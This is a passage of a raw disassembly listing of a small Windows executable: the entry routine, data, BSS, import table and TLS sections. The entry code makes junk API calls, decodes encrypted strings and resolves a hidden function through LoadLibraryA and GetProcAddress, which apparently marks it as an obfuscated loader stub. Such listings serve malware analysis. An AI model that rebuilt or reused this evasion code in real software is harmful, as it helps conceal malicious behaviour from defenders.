loc_15074:				; CODE XREF: sub_1505C+Dj sub_1505C+Fj
		pop	ecx
		pop	ebp
		retn
sub_1505C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_15078	proc near		; DATA XREF: CODE:00015110o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_150A1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, offset dword_176EC
		call	sub_134D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_150A8


loc_150A0:				; CODE XREF: sub_15078+2Ej
		retn
; ---------------------------------------------------------------------------


loc_150A1:				; DATA XREF: sub_15078+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_150A0
; ---------------------------------------------------------------------------


loc_150A8:				; CODE XREF: sub_15078:loc_150A0j
					; DATA XREF: sub_15078+23o
		pop	ebp
		retn
sub_15078	endp

; ---------------------------------------------------------------------------
		align 4
dword_150AC	dd 0Ch				dd offset off_150B4
off_150B4	dd offset loc_13AD8	; DATA XREF: CODE:000150B0o
		dd offset sub_13AA8
		dd offset sub_138CC
		dd offset sub_13878
		dd offset sub_13B10
		dd offset sub_13AE0
		dd offset sub_13B70
		dd offset sub_13B40
		dd offset sub_13E08
		dd offset sub_13DD8
		dd offset sub_13E40
		dd offset sub_13E10
		dd offset sub_147FC
		dd offset sub_147CC
		dd offset sub_14ABC
		dd offset sub_14A8C
		dd offset sub_14AFC
		dd offset sub_14ACC
		dd offset sub_14E88
		dd offset sub_14E58
		dd offset sub_14EC0
		dd offset sub_14E90
		align 10h
		dd offset sub_15078
; ---------------------------------------------------------------------------

		public start
start:
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		xor	eax, eax
		mov	[ebp-1Ch], eax
		mov	[ebp-20h], eax
		mov	[ebp-14h], eax
		mov	[ebp-18h], eax
		mov	eax, offset dword_150AC
		call	sub_13A64
		xor	eax, eax
		push	ebp
		push	offset loc_15201
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	offset dword_176F4
		push	0
		push	0
		call	ExtractAssociatedIconA	; ExtractAssociatedIconA
		push	0
		push	0
		push	0
		call	SetHandleInformation	; SetHandleInformation
		call	GetLastError
		call	sub_1505C
		call	sub_13F18
		lea	eax, [ebp-18h]
		call	sub_13EE0
		mov	edx, [ebp-18h]
		lea	ecx, [ebp-14h]
		mov	eax, offset dword_15218
		call	sub_13D74
		mov	eax, [ebp-14h]
		call	sub_13650
		push	eax
		call	LoadLibraryA	; LoadLibraryA
		mov	ds:dword_176F0,	eax
		lea	eax, [ebp-20h]
		call	sub_13EE0
		mov	edx, [ebp-20h]
		lea	ecx, [ebp-1Ch]
		mov	eax, offset dword_15230
		call	sub_13D74
		mov	eax, [ebp-1Ch]
		call	sub_13650
		push	eax
		mov	eax, ds:dword_176F0
		push	eax
		call	GetProcAddress	; GetProcAddress
		mov	edx, ds:off_160D0
		mov	[edx], eax
		push	0
		push	offset sub_14F44
		push	0Ah
		push	0
		mov	eax, ds:off_160D0
		mov	eax, [eax]
		call	eax
		mov	eax, ds:dword_176F0
		push	eax
		call	FreeLibrary_0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_15208


loc_151F3:				; CODE XREF: CODE:00015206j
		lea	eax, [ebp-20h]
		mov	edx, 4
		call	sub_134FC
		retn
; ---------------------------------------------------------------------------


loc_15201:				; DATA XREF: CODE:00015135o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_151F3
; ---------------------------------------------------------------------------


loc_15208:				; CODE XREF: CODE:00015200j
					; DATA XREF: CODE:000151EEo
		call	sub_133E0
; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 0Ch
dword_15218	dd 800B2905h, 81D7DC07h, 0AE402AF0h, 0		dd 0FFFFFFFFh, 12h
dword_15230	dd 830C222Bh, 0DC97D530h, 0A74F3CABh, 16A71645h, 0A0Ah
					; DATA XREF: CODE:000151A1o
		dd 6Fh dup(0)
CODE		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 00000104 (	260.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00004800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 16000h
; UINT uExitCode
uExitCode	dd 0			; DATA XREF: sub_132C8+Ar sub_13324+2w ...
dword_16004	dd 0		byte_16008	db 2			; DATA XREF: sub_138CC+Dw
		db 8Dh,	40h, 0
word_1600C	dw 1332h		; DATA XREF: sub_12C54+6r
					; sub_12C54:loc_12CCCr	...
		dw 0C08Bh
byte_16010	db 0			; DATA XREF: sub_12D30r sub_12D4Cr ...
		db 8Dh,	40h, 0
byte_16014	db 0			; DATA XREF: sub_131A8-336r
					; sub_131A8:loc_12EADr
		db 8Dh,	40h, 0
byte_16018	db 0			; DATA XREF: sub_13354:loc_133B5r
		db 8Dh,	40h, 0
dword_1601C	dd 0		dword_16020	dd 0		off_16024	dd offset sub_12160	; DATA XREF: sub_127B4+Ar
					; sub_12804+3Fr
off_16028	dd offset sub_1230C	; DATA XREF: sub_127E4+5r
					; sub_12804+26r
off_1602C	dd offset sub_126E8	; DATA XREF: sub_12804+Dr
byte_16030	db 0			; DATA XREF: sub_12860+36r
aRsu		db 'клхивохмншьзыйэщчъЮАЦ',0
aFxn@		db 'ДЕ█@',0
; char Caption[]
Caption		db 'Error',0            ; DATA XREF: sub_13354+6Co
		dw 0C08Bh
; char Text[]
Text		db 'Runtime error     at 00000000',0 ; DATA XREF: sub_132C8+3o
					; sub_13354+32o ...
		dw 0C08Bh
byte_16074	db 30h			; DATA XREF: sub_132C8+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
; DWORD	TlsIndex
TlsIndex	dd 0FFFFFFFFh		; DATA XREF: sub_139D4+Cr
					; sub_139D4+37r ...
dword_16088	dd 0		dword_1608C	dd 0		dword_16090	dd 0		dword_16094	dd 0				align 10h
dword_160A0	dd 1				dd 10h,	2, 20h,	4, 40h,	4, 40h
off_160C0	dd offset dword_176AC	; DATA XREF: sub_14B48+2BEr
off_160C4	dd offset dword_17670	; DATA XREF: sub_14B48+293r
off_160C8	dd offset dword_17694	; DATA XREF: sub_14EC8+18r
off_160CC	dd offset dword_17680	; DATA XREF: sub_14B48+96r
off_160D0	dd offset dword_176A4	; DATA XREF: CODE:000151BFr
					; CODE:000151D2r
off_160D4	dd offset dword_1766C	; DATA XREF: sub_14B48+2CDr
off_160D8	dd offset dword_176B4	; DATA XREF: sub_14F44+E2r
off_160DC	dd offset dword_17684	; DATA XREF: sub_14B48+189r
					; sub_14B48+1F8r ...
off_160E0	dd offset dword_17690	; DATA XREF: sub_14B48+110r
off_160E4	dd offset dword_1767C	; DATA XREF: sub_14B48+CEr
off_160E8	dd offset dword_17674	; DATA XREF: sub_14B48+15Cr
off_160EC	dd offset dword_1769C	; DATA XREF: sub_14EC8+46r
off_160F0	dd offset dword_17698	; DATA XREF: sub_14EC8+56r
off_160F4	dd offset dword_176A0	; DATA XREF: sub_14EC8+2Er
off_160F8	dd offset dword_1768C	; DATA XREF: sub_14B48+23Fr
off_160FC	dd offset dword_17678	; DATA XREF: sub_14B48+F7r
off_16100	dd offset dword_176B0	; DATA XREF: sub_14EC8+6Cr
		align 100h
DATA		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 000006F9 (   1785.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00004A00
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 17000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
dword_17000	dd ?		dword_17004	dd ?		dword_17008	dd ?							; sub_12860+16r
dword_1700C	dd ?							; CODE:00013118r
dword_17010	dd ?							; sub_12D4C+16r ...
dword_17014	dd ?							; CODE:00013100r ...
dword_17018	dd ?							; sub_133E0+B7r
dword_1701C	dd ?		dword_17020	dd ?		byte_17024	db ?			; DATA XREF: sub_13288+33w
		align 4
dword_17028	dd ?		dword_1702C	dd ?		dword_17030	dd ?		byte_17034	db ?			; DATA XREF: sub_13354+1r
byte_17035	db ?			; DATA XREF: sub_11904+1Cr
					; sub_11904:loc_119B8r	...
byte_17036	db ?			; DATA XREF: sub_138CC+28w
		align 4
dword_17038	dd ?							; sub_13878+19o
word_1703C	dw ?			; DATA XREF: sub_138CC+4Cw
		align 10h
		dd 71h dup(?)
dword_17204	dd ?							; sub_13878+23o
word_17208	dw ?			; DATA XREF: sub_13354+Ar
					; sub_138CC+55w
		align 10h
dword_17210	dd ?				align 10h
dword_17220	dd ?				dd 6Bh dup(?)
dword_173D0	dd ?		word_173D4	dw ?			; DATA XREF: sub_138CC+5Ew
		align 4
		dd 71h dup(?)
dword_1759C	dd ?		dword_175A0	dd ?							; sub_12018+CCw ...
dword_175A4	dd ?		dword_175A8	dd ?							; sub_138CC+B2w ...
byte_175AC	db ?			; DATA XREF: sub_11904+A0w
					; sub_11904:loc_119D3r	...
		align 10h
dword_175B0	dd ?							; sub_115C8+99w ...
; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection	_RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_11904+12o
					; sub_11904+25o ...
dword_175CC	dd ?							; sub_110FC+3Cw ...
dword_175D0	dd ?							; sub_111E4+22r ...
dword_175D4	dd ?							; sub_113C8+51o ...
		dd 3 dup(?)
dword_175E4	dd 4 dup(?)						; sub_1172C+12o ...
dword_175F4	dd ?		dword_175F8	dd ?				align 10h
dword_17600	dd ?							; sub_11ADC+4r	...
dword_17604	dd ?		dword_17608	dd ?							; sub_11EA8+2Er ...
; HLOCAL hMem
hMem		dd ?			; DATA XREF: sub_11904+59w
					; sub_11904+5Er ...
dword_17610	dd ?							; sub_119DC+90o ...
		align 10h
dword_17620	dd ?		dword_17624	dd ?							; sub_13180+2r
dword_17628	dd ?		dword_1762C	dd ?		dword_17630	dd ?				dd 6 dup(?)
byte_1764C	db ?			; DATA XREF: sub_13A18r
		align 10h
dword_17650	dd ?							; sub_13A64+16r ...
dword_17654	dd ?							; CODE:loc_13AD8w
dword_17658	dd ?		dword_1765C	dd ?		dword_17660	dd ?		dword_17664	dd ?		dword_17668	dd ?		dword_1766C	dd ?							; DATA:off_160D4o
dword_17670	dd ?							; sub_1434C+2D9w ...
dword_17674	dd ?							; DATA:off_160E8o
dword_17678	dd ?							; DATA:off_160FCo
dword_1767C	dd ?							; DATA:off_160E4o
dword_17680	dd ?							; DATA:off_160CCo
dword_17684	dd ?							; DATA:off_160DCo
dword_17688	dd ?							; sub_13F18+C3r ...
dword_1768C	dd ?							; DATA:off_160F8o
dword_17690	dd ?							; DATA:off_160E0o
dword_17694	dd ?							; DATA:off_160C8o
dword_17698	dd ?							; DATA:off_160F0o
dword_1769C	dd ?							; DATA:off_160ECo
dword_176A0	dd ?							; DATA:off_160F4o
dword_176A4	dd ?		dword_176A8	dd ?							; sub_13F18+2B2r ...
dword_176AC	dd ?							; DATA:off_160C0o
dword_176B0	dd ?							; DATA:off_16100o
dword_176B4	dd ?							; DATA:off_160D8o
dword_176B8	dd ?		dword_176BC	dd ?		dword_176C0	dd ?		dword_176C4	dd ?		dword_176C8	dd ?		dword_176CC	dd ?		dword_176D0	dd ?							; sub_14810+F8r
; HMODULE hModule
hModule		dd ?			; DATA XREF: sub_14810+98w
					; sub_14810+BEr ...
dword_176D8	dd ?		dword_176DC	dd ?		dword_176E0	dd ?		dword_176E4	dd ?							; sub_14F44+33r ...
dword_176E8	dd ?							; sub_14F44+45r ...
dword_176EC	dd ?							; sub_14F44+50o ...
dword_176F0	dd ?							; CODE:000151B4r ...
dword_176F4	dd 43h dup(?)	BSS		ends

;
; Imports from kernel32.dll
;
; Section 4. (virtual address 00008000)
; Virtual size			: 0000042A (   1066.)
; Section size in file		: 00000600 (   1536.)
; Offset to raw	data for section: 00004A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Externs
; _idata
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_DeleteCriticalSection:dword	; DATA XREF: DeleteCriticalSectionr
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_LeaveCriticalSection:dword ; DATA XREF: LeaveCriticalSectionr
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_EnterCriticalSection:dword ; DATA XREF: EnterCriticalSectionr
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
		extrn __imp_InitializeCriticalSection:dword
					; DATA XREF: InitializeCriticalSectionr
; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
		extrn __imp_VirtualFree:dword ;	DATA XREF: VirtualFreer
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
		extrn __imp_VirtualAlloc:dword ; DATA XREF: VirtualAllocr
; HLOCAL __stdcall LocalFree(HLOCAL hMem)
		extrn __imp_LocalFree:dword ; DATA XREF: LocalFreer
; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes)
		extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr
; DWORD	__stdcall GetVersion()
		extrn __imp_GetVersion:dword ; DATA XREF: GetVersionr
; DWORD	__stdcall GetCurrentThreadId()
		extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr
; LCID __stdcall GetThreadLocale()
		extrn __imp_GetThreadLocale:dword ; DATA XREF: GetThreadLocaler
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA	lpStartupInfo)
		extrn __imp_GetStartupInfoA:dword ; DATA XREF: GetStartupInfoAr
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize)
		extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr
; int __stdcall	GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData)
		extrn __imp_GetLocaleInfoA:dword ; DATA	XREF: GetLocaleInfoAr
; LPSTR	__stdcall GetCommandLineA()
		extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
		extrn __imp_FreeLibrary:dword ;	DATA XREF: FreeLibraryr
; void __stdcall ExitProcess(UINT uExitCode)
		extrn __imp_ExitProcess:dword ;	DATA XREF: ExitProcessr
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite,	LPDWORD	lpNumberOfBytesWritten,	LPOVERLAPPED lpOverlapped)
		extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler
; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo)
		extrn __imp_UnhandledExceptionFilter:dword
					; DATA XREF: UnhandledExceptionFilterr
		extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments)
		extrn __imp_RaiseException:dword ; DATA	XREF: RaiseExceptionr
; HANDLE __stdcall GetStdHandle(DWORD nStdHandle)
		extrn __imp_GetStdHandle:dword ; DATA XREF: GetStdHandler

;
; Imports from user32.dll
;
; int __stdcall	GetKeyboardType(int nTypeFlag)
		extrn __imp_GetKeyboardType:dword ; DATA XREF: GetKeyboardTyper
; int __stdcall	MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption,	UINT uType)
		extrn __imp_MessageBoxA:dword ;	DATA XREF: MessageBoxAr
; LPSTR	__stdcall CharNextA(LPCSTR lpsz)
		extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr

;
; Imports from advapi32.dll
;
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey,	LPCSTR lpValueName, LPDWORD lpReserved,	LPDWORD	lpType,	LPBYTE lpData, LPDWORD lpcbData)
		extrn __imp_RegQueryValueExA:dword ; DATA XREF:	RegQueryValueExAr
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY	phkResult)
		extrn __imp_RegOpenKeyExA:dword	; DATA XREF: RegOpenKeyExAr
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn __imp_RegCloseKey:dword ;	DATA XREF: RegCloseKeyr

;
; Imports from kernel32.dll
;
; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue)
		extrn __imp_TlsSetValue:dword ;	DATA XREF: TlsSetValuer
; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex)
		extrn __imp_TlsGetValue:dword ;	DATA XREF: TlsGetValuer
; HLOCAL __stdcall LocalAlloc_0(UINT uFlags, SIZE_T uBytes)
		extrn __imp_LocalAlloc_0:dword ; DATA XREF: LocalAlloc_0r
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
		extrn __imp_GetModuleHandleA:dword ; DATA XREF:	GetModuleHandleAr

;
; Imports from kernel32.dll
;
; BOOL __stdcall SetHandleInformation(HANDLE hObject, DWORD dwMask, DWORD dwFlags)
		extrn __imp_SetHandleInformation:dword ; DATA XREF: SetHandleInformationr
; HMODULE __stdcall LoadLibraryA(LPCSTR	lpLibFileName)
		extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
		extrn __imp_GetProcAddress:dword ; DATA	XREF: GetProcAddressr
; DWORD	__stdcall GetLastError()
		extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr
; BOOL __stdcall FreeLibrary_0(HMODULE hLibModule)
		extrn __imp_FreeLibrary_0:dword	; DATA XREF: FreeLibrary_0r

;
; Imports from shell32.dll
;
; HICON	__stdcall ExtractAssociatedIconA(HINSTANCE hInst, LPSTR	lpIconPath, LPWORD lpiIcon)
		extrn __imp_ExtractAssociatedIconA:dword
					; DATA XREF: ExtractAssociatedIconAr

; Section 5. (virtual address 00009000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000000 (	  0.)
; Offset to raw	data for section: 00005000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 19000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(?)		; DATA XREF: .rdata:TlsDirectoryo
TlsEnd		dd 7Eh dup(?)		; DATA XREF: .rdata:TlsEnd_ptro
_tls		ends

; Section 6. (virtual address 0000A000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00005000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 1A000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd offset TlsEnd
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
		align 200h
_rdata		ends


		end start